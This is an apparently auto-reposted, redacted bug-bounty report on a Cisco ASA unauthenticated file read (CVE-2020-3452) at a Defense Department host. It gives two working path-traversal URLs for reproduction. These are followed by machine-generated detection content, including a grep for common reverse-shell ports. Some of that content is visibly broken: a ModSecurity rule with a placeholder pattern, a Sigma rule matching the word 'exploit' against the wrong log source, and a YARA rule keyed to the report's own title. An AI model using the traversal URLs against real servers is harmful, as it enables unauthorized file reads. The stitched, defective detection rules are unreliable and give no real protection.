U.S. Dept Of Defense: [CVE-2020-3452] Unauthenticated file read in Cisco ASA

i found out that https://█████████/ was vulnerable to CVE-2020-3452 The IP has a SSL certificate pointing to █████████ curl -kv https://██████████/ Output Server certificate: * subject: C=US; ████.mil Impact Anyone can read any file present on the server. System Host(s) ███ Affected Product(s) and Version(s) CVE Numbers CVE-2020-3452 Steps to Reproduce You can test it by visiting the URL: 1. https://██████████/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua 2. https://███████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ Suggested Mitigation/Remediation Actions...

SecRule REQUEST_URI "@rx ..." "id:1001,phase:1,deny,status:403"

find /var/www -type f -name "*.php" -mmin -120

ss -tunp | grep -E ":(4444|1337|8080|9001)"

apt update && apt --only-upgrade install <pkg>

title: Detect Exploitation - U.S. Dept Of Defense: [CVE-2020-3452] Unauthenticated file read in Cisco ASA
id: c52b9a20-e815-45be-b982-9f6ab9f74408
status: experimental
description: Automatisch generierte SIEM-Erkennungsregel basierend auf CTI Intelligence
references:
  - https://tsecurity.de/
author: iShareStuff CTI Automated Detection Engine
date: 2026-09-24
logsource:
  category: network_connection
  product: any
detection:
  selection:
      CommandLine|contains:
        - 'exploit'
  condition: selection
falsepositives:
  - Legitime administrative Zugriffe oder Penetrationstests
level: high
tags:
  - attack.initial_access

rule CTI_Threat_Indicator {
    meta:
        author = "iShareStuff CTI Automated Detection Engine"
        date = "2026-09-24"
        description = "YARA Signature for "
    strings:
        $str = "U.S. Dept Of Defense: [CVE-202" ascii wide
    condition:
        any of them
}